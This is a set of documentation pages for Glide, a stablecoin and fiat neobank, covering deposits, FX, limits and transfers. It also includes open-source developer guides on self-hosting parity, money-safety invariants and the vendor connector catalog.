From the dashboard, tap **Deposit → From bank account → pick a currency**. We'll show you account number, sort code or routing number, IBAN, BIC, and the recipient name to use on the wire.
Send the wire from your bank using the details we showed you. Glide is the recipient name; the funds land in your account.
Settlement times vary by rail:
* **SEPA Instant** — under 10 seconds.
* **Faster Payments (UK)** — under 2 hours, often instant.
* **ACH push** — same business day.
* **SWIFT wire** — same to next business day, depending on the originating bank.
You'll get a push notification when the deposit clears.
## Receiving payments from someone else
Same flow as your own deposit. Share your account details (or a payment link) with the sender. They wire to those details; the funds land in your Glide account.
For a clean handoff, generate a **named payment link** in **Deposit → Request money**. Each link tracks the expected amount, the sender, and the invoice reference, so reconciliation is automatic.
## Deposit fees
| Source | Fee from Glide |
| ----------------------------------- | --------------------------------------------------- |
| Stablecoin (any chain) | None — you only pay network gas |
| Wire / ACH / SEPA / Faster Payments | None on the receive side |
| SWIFT (intermediary banks) | Glide doesn't charge; intermediary banks may deduct |
Full pricing at [glide.co/pricing](https://glide.co/pricing).
## Limits
Deposit limits depend on your KYC tier and account type:
* **Pre-KYC (crypto-only)** — up to \$10,000 lifetime stablecoin deposits.
* **Standard KYC personal** — $50,000 per transaction, $500,000 monthly.
* **Enhanced KYC personal** — uncapped per-transaction, monthly limits sized to declared activity.
* **Business** — sized to declared volume; talk to your relationship manager.
You can request a limit increase at any time from **Settings → Limits**.
## Next
* [Send money](/money/send)
* [Stablecoins overview](/stablecoins/overview)
* [Limits and fees](/money/limits-and-fees)
# Foreign exchange
Source: https://glide-9da73dea.mintlify.app/money/fx
Glide quotes the live mid-market rate with zero spread. See the rate before you convert; no hidden margin.
Most banks make money on FX by adding 1–3% to the rate they quote you. Glide doesn't. We quote at the real mid-market rate — the rate that shows up on Reuters or Google — and charge a transparent transfer fee on top, if any.
## How conversion works
When you convert from one currency to another (USD to EUR, USDC to GBP, etc.), the dashboard shows you:
1. **The mid-market rate** — live from the global FX market, refreshed continuously.
2. **The amount you're converting** — in the source currency.
3. **The amount you'll receive** — in the destination currency, calculated at the mid-market rate.
4. **Any transfer fee** — flat or tiered by amount, published up front.
You see all four numbers before you confirm. No surprise margin baked into the rate.
## When conversion happens
Conversion is automatic in three situations and manual in one:
* **Automatic** — receiving in a currency you don't yet hold. The funds land in your destination currency at the mid-market rate.
* **Automatic** — sending in a currency you don't hold enough of. We pull from your nearest source currency and convert.
* **Automatic** — spending with your card in a currency that's not in your balance. We auto-convert from USD or your default currency at the time of authorization.
* **Manual** — you can convert any balance any time from **Convert** in the dashboard. Lock in a rate now without waiting for a transaction.
## Compare us to your bank
The [FX calculator](https://glide.co/fx-calculator) compares Glide's quote against:
* Your local bank's published rate.
* Wise, Revolut, Western Union, Remitly, Xoom, MoneyGram.
* The interbank mid-market for reference.
Same amount, same corridor, same day. The difference is usually 1–5% on a typical transfer.
## Rates we don't quote
Glide can hold and convert most major currencies. A few exotic corridors are restricted because their FX markets are illiquid or their currency controls make settlement unreliable. Those show as **"unavailable in your region"** when you try to add the currency. The list shifts as markets open up.
## What about stablecoins?
Stablecoins convert at the live mid-market rate against the corresponding fiat. USDC to USD is essentially 1:1 with a small basis-point spread that reflects the on-chain peg precision. USDT to USD likewise. Converting USDC to GBP applies the USD→GBP mid-market rate.
## No spread, ever
Glide commits to zero FX spread. If we ever change this commitment, we'd announce it before activation, not bury it in fine print. The published [pricing page](https://glide.co/pricing) is authoritative.
## Next
* [Send money](/money/send)
* [Limits and fees](/money/limits-and-fees)
* [Stablecoins overview](/stablecoins/overview)
# Limits and fees
Source: https://glide-9da73dea.mintlify.app/money/limits-and-fees
What you can move, how often, and what each rail costs. Pricing is published; nothing is hidden.
Glide publishes its full pricing at [glide.co/pricing](https://glide.co/pricing). This page is the in-help-center summary plus the limit framework that determines how much you can move per transaction and per month.
## Account tiers
Limits scale with your verification level. You move up tiers automatically as your activity warrants, or on request from **Settings → Limits**.
| Tier | Per-transaction | Monthly aggregate | What unlocks it |
| ----------------- | --------------- | -------------------------- | --------------------------------------------- |
| Crypto-only | \$10,000 | \$10,000 lifetime | No KYC needed |
| Standard personal | \$50,000 | \$500,000 | Standard KYC |
| Enhanced personal | \$250,000 | Sized to activity | Enhanced KYC + activity history |
| Business standard | \$500,000 | Sized to declared activity | KYB + EBOM |
| Business enhanced | Uncapped per-tx | Sized at onboarding | KYB + activity history + relationship manager |
## What "sized to activity" means
Beyond the standard tier, monthly limits are calibrated to what you've told us you'll do. If you said you'd send $200k/month in payroll, your monthly aggregate sits comfortably above that. If you suddenly try to send $5M, we'll ask for context (and probably approve, but we'll ask).
This isn't "we'll block you randomly." It's risk-tiered review, which is what regulators expect from a regulated MSB.
## Fee summary
| Rail / activity | Glide fee | Network / partner cost |
| -------------------------------- | ----------------------------- | ------------------------------------------- |
| Stablecoin deposit | None | Network gas |
| Stablecoin send | None | Network gas |
| Stablecoin to fiat convert | Mid-market rate, no spread | None |
| ACH / SEPA / Faster Payments out | Tiered (small-amount cheaper) | None |
| SWIFT out | Flat sender fee | Intermediary banks may deduct independently |
| Card spending | None on Glide side | Foreign-currency settle at mid-market |
| Currency conversion | None — mid-market only | None |
## What we don't charge
* Account opening fees.
* Monthly maintenance fees.
* Per-card fees.
* Inactivity fees.
* Foreign transaction fees on card spend.
* Spread on FX.
## ATM withdrawals
Card-supported ATMs withdraw from your USD or local-currency balance. Glide doesn't add an ATM fee; the ATM operator may charge their own fee, which is shown on-screen before you confirm at the machine.
## Rate-limit walls (anti-abuse)
Independently of your account tier, every account has anti-abuse rate limits: maximum number of failed login attempts, maximum stablecoin send velocity in a 60-second window, etc. These are set high enough that normal use never hits them. If you do hit one (e.g., a script accidentally retried 50 times in a row), the dashboard surfaces a clear message; you don't get silently locked out.
## Next
* [Pricing page](https://glide.co/pricing)
* [Deposits](/money/deposits)
* [Send money](/money/send)
# Send money
Source: https://glide-9da73dea.mintlify.app/money/send
Send to 180 countries via wire, ACH, SEPA, Faster Payments, SWIFT, or stablecoin transfer. See the fee before you confirm.
Glide sends money via traditional banking rails and stablecoin networks. Both run from one screen; pick the rail that's fastest and cheapest for the corridor you need.
## Send to a bank account
From the dashboard, tap **Send → To bank account**.
Either a saved beneficiary, a new beneficiary, or a phone-book contact. For a new beneficiary, enter their name (matching their bank), account details, and country.
Glide auto-suggests the cheapest rail for the corridor. You can override:
* **Same-currency local rails** — ACH, SEPA, Faster Payments, FAST, FPS, NPP. Usually under 2 hours, often instant. Lowest fees.
* **Cross-border SWIFT** — correspondent banking. 1–3 business days typical. Higher fees, intermediary banks may deduct.
* **Card-to-card** — some corridors only. Real-time, higher fee.
Before you confirm, you see:
* The exact fee from Glide.
* The mid-market FX rate (zero spread from us).
* The estimated arrival time for the chosen rail.
* The total amount the recipient will receive.
No surprise deductions on our side.
Approve with Face ID, passkey, or your two-factor method. The transfer initiates immediately; you'll get a receipt.
## Send a stablecoin
USDC and USDT can be sent to any external wallet you control or to anyone else's wallet.
Tap **Send → Stablecoin transfer**.
Choose USDC or USDT, then the network (Ethereum, Solana, Base, Polygon — full list in [supported networks](/stablecoins/supported-networks)).
Paste the recipient's wallet address. Glide validates the address checksum and warns if the network looks wrong (e.g., you pasted an Ethereum address but selected Solana).
See the network gas estimate. Confirm. Once you approve, the transaction broadcasts to the network; the dashboard tracks it through to settlement.
## Glide-to-Glide transfers
Sending to another Glide user? Use **Send → To another Glide account**. Enter their @glide handle, email, or phone number. The transfer is instant, free, and works across any currency.
## Recurring and scheduled transfers
For payroll, rent, or regular subscriptions, set up a recurring transfer:
* Daily, weekly, monthly, or custom cadence.
* Specific days of the month or specific weekdays.
* Auto-pause if your balance is below a threshold (so you don't bounce a transfer).
Find these under **Send → Schedule** for any rail.
## Approval flows for businesses
Business accounts can require multi-party approval for outbound transfers above a threshold. See [Team roles](/business/team-roles).
## Fees
Pricing is published at [glide.co/pricing](https://glide.co/pricing). Highlights:
* Local rails (ACH, SEPA, Faster Payments, etc.) are tiered by amount — small transfers are cheap, larger ones get a slightly higher absolute fee but lower bps.
* SWIFT has a fixed sender fee from Glide; intermediary banks may deduct independently.
* Stablecoin transfers have no Glide fee. You pay the network gas.
* FX is mid-market with zero spread from Glide.
## Next
* [FX](/money/fx)
* [Limits and fees](/money/limits-and-fees)
* [Stablecoin withdrawals](/stablecoins/withdrawals)
# Hosted vs self-hosted
Source: https://glide-9da73dea.mintlify.app/oss/concepts/hosted-vs-self-hosted
100% code-parity commitment between Glide Cloud and self-hosted instances, with three documented exceptions (Chainalysis ToS, Privy Multi-tenant, mobile App Store distribution).
The OSS Cathedral plan commits to **100% code parity** between Glide Cloud and self-hosted instances — with explicit documented exceptions. This file is the source of truth for what's the same, what's different, and why.
## Code parity
The web app, mobile app, MCP gateway, all 21 connectors, all 6 hero skills, the policy engine, the grant wrapper, the schemas, the secrets-manager, the CLI, and the create-glide-app scaffolder all ship under MIT in this repo. There is **no `packages/enterprise/`** edition. No feature in code is gated by license, tenant tier, or feature flag based on whether you're on Glide Cloud or self-hosted.
The full list of code surfaces:
* `apps/web/` — Next.js 16 origin app (consumer + admin + agent skill catalog at `/skills`)
* `apps/mcp/` — MCP gateway (22 tools across read/write/treasury endpoints)
* `apps/mobile/` — Expo / React Native mobile app
* `packages/connectors//` × 21 — vendor adapters
* `packages/skills//` × 6 — agent skill packages
* `@glideco/policy-engine`, `@glideco/schemas`, `@glideco/grant-wrapper`, `@glideco/secrets-scan` — Headless platform
* `@repo/secrets`, `@repo/cli`, `create-glide-app` — self-host quickstart
If a code path runs in Glide Cloud, it runs in your self-hosted deploy too. If a UI screen renders in Glide Cloud, you can render it locally with `GLIDE_USE_MOCK_CONNECTORS=true pnpm --filter web dev`.
## What Glide Cloud runs that you operate yourself
The differences are **operational**, not code-level.
| Layer | Glide Cloud | Self-Hosted |
| --------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------- | -------------------------------------------------------------------------------------------------------------------------- |
| **Vendor seats** | Glide holds umbrella contracts with Privy, Bridge, Noah, Chainalysis, Alchemy, Coinbase, Ory. Hosted users get the whole stack on day one. | You bring your own Privy Multi-tenant tenant + each individual vendor contract you want to use. |
| **Managed ops** | We run upgrades, security patches, Postgres backups, Redis failover, Inngest scaling, multi-region failover. | You own uptime + backups + scaling. |
| **Compliance packaging** | Signed audit-log exports, SOC 2 report bundles, vendor compliance artifacts collected in one place. | You assemble your own compliance bundle from per-connector COMPLIANCE.md + your audit-log retention. |
| **Support + SLAs** | Named support contact, guaranteed response times, incident escalation. | GitHub issues + best-effort. Discord / Slack lands with M5.5+. |
| **Mobile distribution** | Glide Cloud's App Store / Play Store binaries point at our backend. | Self-host = self-build. EAS bakes `EXPO_PUBLIC_API_URL` at build time; you do your own EAS build pointing at your backend. |
| **Trusted Partner program** | Regulated partners pay to have their connector promoted to `verified` tier with marketplace placement + co-marketing. The connector code itself is still MIT. | Promotion ladder is identical (community → verified → core), but you administer it for your own tenant. |
## Documented parity exceptions
Per the OSS plan §M2 §"Foundational Decisions" + Codex review fix #10, three honest exceptions to "100% code parity":
### 1. Chainalysis live adapter (counsel-blocked redistribution)
**Status:** ⚠️ Conditional. As of M2 ship, the Chainalysis adapter ships in OSS at `packages/connectors/chainalysis/` with a prominent `DISCLAIMER.md` stating users must hold their own Chainalysis contract.
**Risk:** If Chainalysis counsel objects to OSS-distributed adapters that call their API even with the disclaimer, Glide Cloud would continue shipping the live adapter while OSS would ship a skeleton interface + the existing `chainalysis-mock` only. We have not received that objection as of this writing; the live adapter is in OSS today.
**Mitigation if blocked:** OSS users would set `SCREENING_PROVIDER=chainalysis-mock` (deterministic fixtures) or `SCREENING_PROVIDER=permissive` (no-op + red banner) until they implement an alternative `screening` capability (TRM Labs, Elliptic, etc.).
### 2. Privy Multi-tenant requirement (vendor-only OSS)
OSS is Privy-only in v1. There is no `auth-local` / Better-Auth fallback. Self-hosters without a Privy Multi-tenant account cannot run Glide today.
**Why:** Per the M2 OSS plan §11, agent banking's programmable-signing-policy is Privy-specific. The alternative (Turnkey sub-org per entity) forces regulatory re-analysis the OSS plan doesn't want to inherit.
**Future:** If Privy's Multi-tenant product changes pricing or availability, OSS users are exposed. Acceptable trade-off per the ceremony review; documented prominently in `docs/SELF_HOSTING.md`.
### 3. Mobile App Store distribution (platform-controlled)
iOS `DCAppAttestService` + Android Play Integrity require Apple / Google developer accounts AND attestation service setup. Glide Cloud's mobile binaries are signed with our developer accounts; self-hosters need their own.
**Posture:** The `AttestationProvider` capability ships with three implementations: iOS (Apple PKI), Android (Play Integrity), and `none` (red admin banner saying attestation is disabled). Self-hosters who don't run their own EAS build set `ATTESTATION=none`.
**Future:** Once App Store / Play Store policies mature for OSS-flavored fork distribution, this exception narrows. Today the platform-attestation requirement IS the gap.
## What's NOT a parity exception
These are sometimes assumed to be exceptions but are NOT:
* **The Trust Console UI** — lands in OSS at M4 once Glide Cloud has soaked Trust Console v1 for 12 weeks. Identical code; identical UI; the gating is "the schemas need to be production-hardened before publication."
* **Agent skills marketplace** — already shipped at `apps/web/src/app/(public)/skills/` (PR153). Identical render in Glide Cloud + self-hosted.
* **The MCP gateway** — `apps/mcp/` ships in OSS. Identical wire format (MCP spec 2025-11-25). Identical 22-tool surface.
* **Per-connector trust tiers** — promotion ladder works identically. The promotion *administration* differs (we approve verified-tier on Glide Cloud; you approve verified-tier in your own deployment).
## Versioning + upgrade contract
Self-hosters should track the `main` branch tags. Major-version bumps that change schema or break connector contracts will be called out in `CHANGELOG.md` with explicit migration steps. Migration files under `apps/web/drizzle/*.sql` are the source of truth (NOT `_journal.json`); apply via `bash scripts/run-agent-platform-migrations.sh` per `CLAUDE.md`.
## How we keep this file honest
This file is reviewed every quarter (Glide Cloud release-train) AND on every milestone PR that touches `apps/web` or `packages/connectors//`. If you ever discover a Glide Cloud feature that isn't in OSS, file an issue — the parity commitment is real.
## Reference
* `docs/SELF_HOSTING.md` — operator runbook
* `docs/agents/SELF_HOSTING.md` — agent platform self-host
* `apps/mcp/COMPLIANCE.md` — MCP gateway compliance posture
* `CONTRIBUTING.md` — partner-PR flow + trust tiers
# Money-safety contracts (F-rules)
Source: https://glide-9da73dea.mintlify.app/oss/concepts/money-safety-contracts
The IRON RULE invariants every money-touching path observes. Operators who remove any of them assume liability for the resulting deployment.
Glide's agent platform encodes six named money-safety invariants — the **F-rules**. Every money-touching tool path observes them. They are **architectural commitments**, not optional defenses; operators who fork the platform and remove any rule accept full liability for the resulting deployment.
## The rules
| Rule | What it guarantees | Where in code |
| -------------------------------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ---------------------------------------------------------------- |
| **F1** — Server-side RPC verify | `x402.pay` persists `on_chain_tx` from `serverFetchChainTx()` (RPC), NEVER from facilitator receipt. Tampered facilitator-claims REJECTED. | `apps/mcp/src/tools/x402-pay.ts` |
| **F2** — CAS-claim before broadcast | `agent_pending_payments` rows claimed via SQL `UPDATE ... WHERE status='pending' AND claimed_at IS NULL RETURNING id`. Race losers skip. Inngest re-fires never double-broadcast. | Migration `0041_agent_pending_payments.sql` + saga-reaper `0044` |
| **F3** — Fresh-read tenant verification | `@glideco/grant-wrapper` re-reads tenant from DB on every tool invocation. Cached grant alone NEVER authorizes. | `@glideco/grant-wrapper` |
| **F4** — Append-only `activity_log` trigger | UPDATE/DELETE/TRUNCATE rejected unless `app.dsar_context_id` session var set (admin DSAR path only). DSAR UPDATE additionally requires `redacted_fields_bitmap` match. | Migration `0042_activity_log_agent_cols.sql` |
| **F5** — Atomic policy\_version on signer rotation | `vault.rotateSigner` advances `policy_version` in the same transaction as the on-chain rotation. In-flight tool calls see `PolicyStaleError` on the next evaluation. | `apps/web/src/server/lib/agent-multisig/` |
| **F7** — Sigil first-use-only | URL-mode elicitation sigils CAS-claimed on first use; race losers reject. Replay-resistant step-up. | `apps/mcp/src/step-up/` |
(F6 reserved.)
## Why each rule exists
### F1 — Don't trust the receipt; trust the chain.
A facilitator can post a `payments.received` event making it look like settlement happened on-chain when it didn't. F1 says: **persist what the RPC node observed, not what the facilitator claims.** Tamper tests in `apps/mcp/src/tools/__tests__/x402-pay.test.ts` exercise the divergence path.
### F2 — Treat every job re-fire as adversarial.
Inngest re-fires jobs after transient crashes. Without a single-claim guarantee, two workers attempt to broadcast the same payment. F2's CAS-claim closes that window: only the worker that wins `UPDATE ... RETURNING` proceeds.
The saga-reaper (migration `0044`) cleans up workers that crashed AFTER claim but BEFORE broadcast.
### F3 — A grant is a snapshot. Tenant is the source of truth.
Bearer grants are valid until `exp`. Between issue and use, the principal's tenant membership might be revoked, transferred, or suspended. F3 says: **re-read the tenant row on every tool call, before authorizing.** `@glideco/grant-wrapper` is the single point of truth.
### F4 — Audit log integrity is non-negotiable.
A compromised admin or rogue insider could tamper with `activity_log` to hide an exfiltration event. F4 enforces append-only via Postgres trigger. Even admin DSAR redaction requires a session var (`app.dsar_context_id`) AND a `redacted_fields_bitmap` match — historical existence is preserved.
### F5 — Don't sign with a rotated-out key.
A signer rotation transaction advances `policy_version`. Tool calls compare the grant's `policy_version` to current; mismatch → `PolicyStaleError` and the agent re-fetches a fresh grant. Without F5, in-flight tool calls could sign against keys that were rotated out mid-flight.
### F7 — Sigils are single-use.
URL-mode elicitation sigils (the step-up tokens) MUST be CAS-claimed on first use. Without F7, a captured sigil URL could be replayed after the principal completes biometric approval.
## What if I want to disable an F-rule?
Don't.
If you absolutely must — for a fork that's not connected to a real-money corridor, for example — document it explicitly in your `apps/mcp/COMPLIANCE.md` divergence section + bump the `policy_version` to advertise the change. Operators downstream of you need to know.
## Reading list
* [Threat model](/oss/security/threat-model) — STRIDE pass with F-rules as primary mitigations.
* [Agent platform self-host](/oss/headless/self-hosting) — operator-facing F-rule guide.
# Orchestration shell, not a bank stack
Source: https://glide-9da73dea.mintlify.app/oss/concepts/orchestration-shell
Honest positioning for what Glide OSS is and isn't. The code that orchestrates regulated partners — not the partners themselves.
Glide OSS is **a self-hostable orchestration shell**, not a self-hostable bank stack. This page is the source of truth for what that means in practice.
## What you get
* The web app, mobile app, and MCP gateway that orchestrate money movement.
* 21 vendor connectors as MIT-licensed adapters.
* 6 hero agent skills + the partner-PR scaffolding for community contributions.
* 4 Headless platform packages (`policy-engine`, `schemas`, `grant-wrapper`, `secrets-scan`).
* Self-host quickstart (`@repo/cli`, `@repo/secrets`, `create-glide-app`).
* Public standards at [`glide.co/schemas/agent-banking/draft/`](https://glide.co/schemas/agent-banking/draft/).
## What you bring
| Vendor | What they provide | Contract / posture |
| ------------------------------------------ | -------------------------------------------------- | -------------------------------------------------------------------------- |
| **Privy** | Auth + embedded wallets + programmable signing | Multi-tenant tenant required. OSS is Privy-only in v1. |
| **Bridge / Noah / Avenia / IDRX / etc.** | Fiat on/off-ramps + KYC | Per-vendor contracts. Adapters MIT; vendor seats yours. |
| **Chainalysis / TRM / Elliptic** | Sanctions screening | Per-vendor contract. The Chainalysis adapter ships with a `DISCLAIMER.md`. |
| **Coinbase x402 facilitator** *(optional)* | x402 settlement | Required for the x402 payer / recipient flow at M2.5+. |
| **Ory Hydra or BYO OAuth AS** *(optional)* | RFC 7591/8707/9728 OAuth AS for the agent platform | Required for `apps/mcp` production deploy. |
## Why we draw the line here
The OSS Cathedral plan made a deliberate trade-off:
> Glide OSS is the **code** that orchestrates regulated partners — partners still hold all licenses; Glide OSS is the code that orchestrates them. This framing must stay honest in README, SELF\_HOSTING docs, and marketing — calling OSS a "money OS" without surfacing the vendor-lock-in layer creates trust debt.
The alternative ("bake every regulated counterparty into OSS") fails for three reasons:
1. **Vendor licenses are not transferable.** Bridge's MSB license, Noah's vendor agreements, Chainalysis's data-sharing terms — none of these can be redistributed under MIT. The vendor relationship has to live with the operator.
2. **Compliance isn't code.** SOC 2, regulatory examinations, KYC due diligence, off-chain settlement contracts — all of this is the operator's burden. Code can't carry it.
3. **The flywheel works at the orchestration layer.** Glide's wedge is "an MIT-licensed orchestration shell every regulated partner can integrate with for free." If we tried to be every partner, we'd compete with our own ecosystem.
## Three documented parity exceptions
Even with this honest framing, there are three places where "100% code parity between Glide Cloud and self-hosted" needs explicit asterisks. See [Hosted vs self-hosted](/oss/concepts/hosted-vs-self-hosted) for the current status of each:
1. **Chainalysis live adapter (counsel-blocked redistribution).** Status: shipping in OSS as of M2; mitigation if blocked is the existing `chainalysis-mock` + the `permissive` fallback.
2. **Privy Multi-tenant requirement (vendor-only OSS).** Self-hosters without a Privy account cannot run Glide today.
3. **Mobile App Store distribution (platform-controlled).** Apple / Google developer accounts + attestation services aren't transferable to OSS forks.
## Reading list
* [Self-host guide](/oss/self-hosting) — operator runbook.
* [Hosted vs self-hosted](/oss/concepts/hosted-vs-self-hosted) — explicit parity table.
* [Money-safety contracts](/oss/concepts/money-safety-contracts) — the F-rules every money-touching path observes.
# Adding a connector
Source: https://glide-9da73dea.mintlify.app/oss/connectors/extending
Partner-PR flow for adding a new vendor adapter at packages/connectors//. Trust tiers, 8-gate CI matrix, scaffolding, contract tests.
Extending Glide with a new vendor connector is a five-step partner-PR flow. The full source of truth is [`CONTRIBUTING.md`](https://github.com/darshanbathija/axtior-neobank/blob/main/CONTRIBUTING.md); this page summarizes the connector-specific path.
## Trust tiers
| Tier | When |
| ----------- | ------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `community` | Any first PR. Off by default; requires `GLIDE_ALLOW_COMMUNITY_CONNECTORS=true` + a red admin banner. Open contribution; no signed agreement required. |
| `verified` | Reviewed against the Verified-tier checklist + signed Trusted Partner Agreement. Ships enabled with per-tenant opt-in. Tier promotion is a separate PR. |
| `core` | Glide-maintained reference implementations. Tier promotion requires CODEOWNERS approval. |
## Five-step flow
Use the [`new-connector` issue template](https://github.com/darshanbathija/axtior-neobank/issues/new?template=new-connector.yml) so we can flag any compliance / regulatory concerns before you write code. Include vendor name, slug, capabilities, regions, regulatory posture, and rationale.
Capability contracts live at `packages/connectors/_base/src/capabilities/`. Pick the subset your vendor implements:
* `orchestration` — fiat ↔ crypto conversion.
* `kyc` — identity verification.
* `card` — card issuance.
* `screening` — sanctions / AML lookup.
* `chain-receipt` — on-chain confirmation reads.
* `balance` — multi-chain balance reads.
* `auth` — token verification.
* `banking` — direct bank-rail (ACH / wire / SWIFT).
* `qr-gateway` — QR-code merchant payments.
* And 5 more (oauth-authorization-server, attestation, merkle-anchor, timelock-module, recovery).
```
packages/connectors//
├── package.json
├── tsconfig.json
├── eslint.config.mjs
├── icon.svg
├── README.md
├── COMPLIANCE.md
├── DISCLAIMER.md (required if vendor ToS is unclear on adapter redistribution)
├── src/
│ ├── manifest.ts // ConnectorManifest (Zod-validated)
│ ├── credentials.ts // Zod schema for env keys
│ ├── legacy.ts // adapter implementation
│ └── __tests__/
│ └── contract.test.ts
```
Or use the CLI:
```bash theme={null}
glide partner submit ./my-connector --type=connector
```
Extend `ContractTestSuite` from `@repo/connectors-base`:
```ts theme={null}
import { ContractTestSuite } from '@repo/connectors-base';
import { manifest } from '../manifest';
import { MyVendorAdapter } from '../legacy';
class MyVendorSuite extends ContractTestSuite {
readonly manifest = manifest;
readonly runtime = {
orchestration: new MyVendorAdapter(),
};
}
```
The test asserts manifest validity + capability presence + egress-host invariant (every host the connector touches must appear in `manifest.egressHosts`).
All eight CI gates must pass:
1. DCO sign-off check.
2. Signed-commits check (Verified tier and above).
3. Manifest schema validation.
4. Contract-test runner.
5. License-compat scan (M5.5+).
6. Supply-chain scans (Snyk + Socket — M5.5+).
7. Egress-host lint via `ts-morph` (M5.5+).
8. Compliance review (counsel sign-off for verified-tier promotions).
See [License compatibility](/oss/security/license-compatibility) for the matrix.
## Review SLA
* Community-tier: 5 business days.
* Verified-tier promotion: 10 business days (includes Trusted Partner Agreement review).
## Reading list
* [Connector catalog](/oss/connectors/index) — every connector currently in the repo.
* [License compatibility](/oss/security/license-compatibility) — accept / warn / block matrix.
* [Threat model](/oss/security/threat-model) — T7 (malicious connector PR).
# Connectors
Source: https://glide-9da73dea.mintlify.app/oss/connectors/index
Auto-generated catalog of all 21 vendor connectors. Each connector ships under MIT with a manifest, contract test, README, and COMPLIANCE.md.
Auto-generated by `scripts/generate-catalog-docs.mjs` from each `packages/connectors//src/manifest.ts`. Don't edit by hand — re-run the script.
Total: **21** connectors.
| Slug | Vendor | Capabilities | Trust | Regions | isMock |
| ------------------------------------------------------------------------------- | -------------------- | ------------------------- | ----------- | -------------------------- | ------ |
| [`aeon`](../packages/connectors/aeon/README.md) | aeon | qr-gateway, orchestration | `core` | VN, PH, BR, NG, MX, BD, ZM | |
| [`alchemy`](../packages/connectors/alchemy/README.md) | alchemy | balance, chain-receipt | `core` | \* | |
| [`avenia`](../packages/connectors/avenia/README.md) | avenia | orchestration | `core` | BR | |
| [`binance-pay`](../packages/connectors/binance-pay/README.md) | binance\_pay | orchestration | `core` | \* | |
| [`bridge`](../packages/connectors/bridge/README.md) | bridge | orchestration, kyc, card | `core` | US, EU, GB, LATAM, APAC | |
| [`bridge-mock`](../packages/connectors/bridge-mock/README.md) | bridge | orchestration, kyc, card | `core` | \* | ✅ |
| [`chainalysis`](../packages/connectors/chainalysis/README.md) | chainalysis | screening | `core` | \* | |
| [`chainalysis-mock`](../packages/connectors/chainalysis-mock/README.md) | chainalysis | screening | `core` | \* | ✅ |
| [`column`](../packages/connectors/column/README.md) | column | banking | `core` | US | |
| [`due`](../packages/connectors/due/README.md) | due | orchestration, kyc | `core` | EU, GB, US | |
| [`gnosis-pay`](../packages/connectors/gnosis-pay/README.md) | gnosis\_pay | card, kyc | `core` | EU, GB | |
| [`idrx`](../packages/connectors/idrx/README.md) | idrx | orchestration | `core` | ID | |
| [`manteca`](../packages/connectors/manteca/README.md) | manteca | qr-gateway, orchestration | `core` | AR | |
| [`monerium`](../packages/connectors/monerium/README.md) | monerium | orchestration, kyc | `core` | EU | |
| [`noah`](../packages/connectors/noah/README.md) | noah | orchestration, kyc | `core` | \* | |
| [`noah-mock`](../packages/connectors/noah-mock/README.md) | noah | orchestration, kyc | `core` | \* | ✅ |
| [`paytrie`](../packages/connectors/paytrie/README.md) | paytrie | orchestration | `core` | CA | |
| [`privy`](../packages/connectors/privy/README.md) | privy | auth | `core` | \* | |
| [`rpc-direct`](../packages/connectors/rpc-direct/README.md) | rpc-direct | balance | `core` | \* | |
| [`sanctions-permissive`](../packages/connectors/sanctions-permissive/README.md) | sanctions-permissive | screening | `community` | \* | ✅ |
| [`wirex`](../packages/connectors/wirex/README.md) | wirex | card, kyc | `core` | EU, GB | |
## Per-connector compliance
Every connector ships a `COMPLIANCE.md` documenting AML posture, regulatory counterparty, data residency, and operator responsibility. Connectors whose vendor ToS is unclear on adapter redistribution also ship a `DISCLAIMER.md` (Chainalysis is the canonical example).
### aeon
* **Display name:** Aeon Payment Gateway
* **Vendor:** aeon
* **Trust tier:** `core`
* **Capabilities:** `qr-gateway`, `orchestration`
* **Regions:** VN, PH, BR, NG, MX, BD, ZM
* **Currencies:** USDC, VND, PHP, BRL, NGN, MXN, BDT, ZMW
* **Egress hosts:** `crypto-payment-api.aeon.xyz`, `ai-api-sbx.aeon.xyz`
* **AML posture:** `pass-through`
* **Source:** [`packages/connectors/aeon/`](../packages/connectors/aeon/)
* **Compliance:** [`packages/connectors/aeon/COMPLIANCE.md`](../packages/connectors/aeon/COMPLIANCE.md)
### alchemy
* **Display name:** Alchemy
* **Vendor:** alchemy
* **Trust tier:** `core`
* **Capabilities:** `balance`, `chain-receipt`
* **Regions:** \*
* **Currencies:** USDC, USDT, EURC, ETH, SOL, MATIC, BNB
* **Egress hosts:** `eth-mainnet.g.alchemy.com`, `base-mainnet.g.alchemy.com`, `arb-mainnet.g.alchemy.com`, `polygon-mainnet.g.alchemy.com`, `bnb-mainnet.g.alchemy.com`, `solana-mainnet.g.alchemy.com`
* **Source:** [`packages/connectors/alchemy/`](../packages/connectors/alchemy/)
* **Compliance:** [`packages/connectors/alchemy/COMPLIANCE.md`](../packages/connectors/alchemy/COMPLIANCE.md)
### avenia
* **Display name:** Avenia
* **Vendor:** avenia
* **Trust tier:** `core`
* **Capabilities:** `orchestration`
* **Regions:** BR
* **Currencies:** BRL, USDC
* **Egress hosts:** `api.avenia.io`
* **AML posture:** `vendor-screened`
* **Source:** [`packages/connectors/avenia/`](../packages/connectors/avenia/)
* **Compliance:** [`packages/connectors/avenia/COMPLIANCE.md`](../packages/connectors/avenia/COMPLIANCE.md)
### binance-pay
* **Display name:** Binance Pay
* **Vendor:** binance\_pay
* **Trust tier:** `core`
* **Capabilities:** `orchestration`
* **Regions:** \*
* **Currencies:** USDC, USDT, BUSD, BNB
* **Egress hosts:** `bpay.binanceapi.com`
* **AML posture:** `vendor-screened`
* **Source:** [`packages/connectors/binance-pay/`](../packages/connectors/binance-pay/)
* **Compliance:** [`packages/connectors/binance-pay/COMPLIANCE.md`](../packages/connectors/binance-pay/COMPLIANCE.md)
### bridge
* **Display name:** Bridge
* **Vendor:** bridge
* **Trust tier:** `core`
* **Capabilities:** `orchestration`, `kyc`, `card`
* **Regions:** US, EU, GB, LATAM, APAC
* **Currencies:** USD, EUR, GBP, USDC, USDT
* **Egress hosts:** `api.bridge.xyz`
* **AML posture:** `vendor-screened`
* **Source:** [`packages/connectors/bridge/`](../packages/connectors/bridge/)
* **Compliance:** [`packages/connectors/bridge/COMPLIANCE.md`](../packages/connectors/bridge/COMPLIANCE.md)
### bridge-mock
* **Display name:** Bridge (mock)
* **Vendor:** bridge
* **Trust tier:** `core`
* **Capabilities:** `orchestration`, `kyc`, `card`
* **Regions:** \*
* **Currencies:** USD, EUR, USDC, USDT
* **Egress hosts:** *(none — no network access at runtime)*
* **Source:** [`packages/connectors/bridge-mock/`](../packages/connectors/bridge-mock/)
